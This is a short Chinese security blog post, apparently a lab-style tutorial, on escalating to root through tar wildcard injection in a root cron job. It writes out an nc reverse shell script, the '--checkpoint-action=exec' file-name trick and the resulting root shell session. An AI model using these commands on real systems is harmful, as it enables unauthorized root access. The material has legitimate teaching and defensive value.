【tips】基于tar通配符漏洞的提权方法

admin 2024年2月29日12:06:44评论18 views字数 1380阅读4分36秒阅读模式
【tips】基于tar通配符漏洞的提权方法

Tips +1

【tips】基于tar通配符漏洞的提权方法

提权原理

tar有通配符*的漏洞,tar用通配符来压缩文件并读取文件名,若是目录下存在有参数则将执行。

操作过程

1、使用root用户创建一个任务计划root用户每隔1分钟执行一次tar打包命令备份/opt/secret目录

SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# Example of job definition:# .---------------- minute (0 - 59)# |  .------------- hour (0 - 23)# |  |  .---------- day of month (1 - 31)# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# |  |  |  |  |# *  *  *  *  * user-name command to be executed*  *    * * *   root    cd /opt/secret/ && tar -zcf /var/backups/secret.tgz *17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro

2、使用普通用户在secret 目录下执行如下命令

创建一个reverse shell脚本echo "nc 192.168.1.103 9090 -e /bin/bash" >shell.shchmod +x shell.sh创建tar将要运行的参数touch -- "--checkpoint=1"touch -- "--checkpoint-action=exec=sh shell.sh"

3、接受shell

┌──(root㉿kali)-[~]└─# nc -lvvp 9090                   listening on [any] 9090 ...connect to [192.168.1.103] from hostname [192.168.1.154] 33600id uid=0(root) gid=0(root) groups=0(root)whoamirootscript /dev/null -c bashScript started, output log file is '/dev/null'.root@hostname:/opt/secret# cd /rootcd /rootroot@hostname:~# lslsroot.txtroot@hostname:~# cat root.txtcat root.txtd5806296126a30ceebeaa172ff9c9151root@hostname:~# 

【tips】基于tar通配符漏洞的提权方法

End

“点赞、在看与分享都是莫大的支持”

【tips】基于tar通配符漏洞的提权方法

【tips】基于tar通配符漏洞的提权方法

原文始发于微信公众号(贝雷帽SEC):【tips】基于tar通配符漏洞的提权方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日12:06:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【tips】基于tar通配符漏洞的提权方法https://cn-sec.com/archives/2535200.html

发表评论

匿名网友 填写信息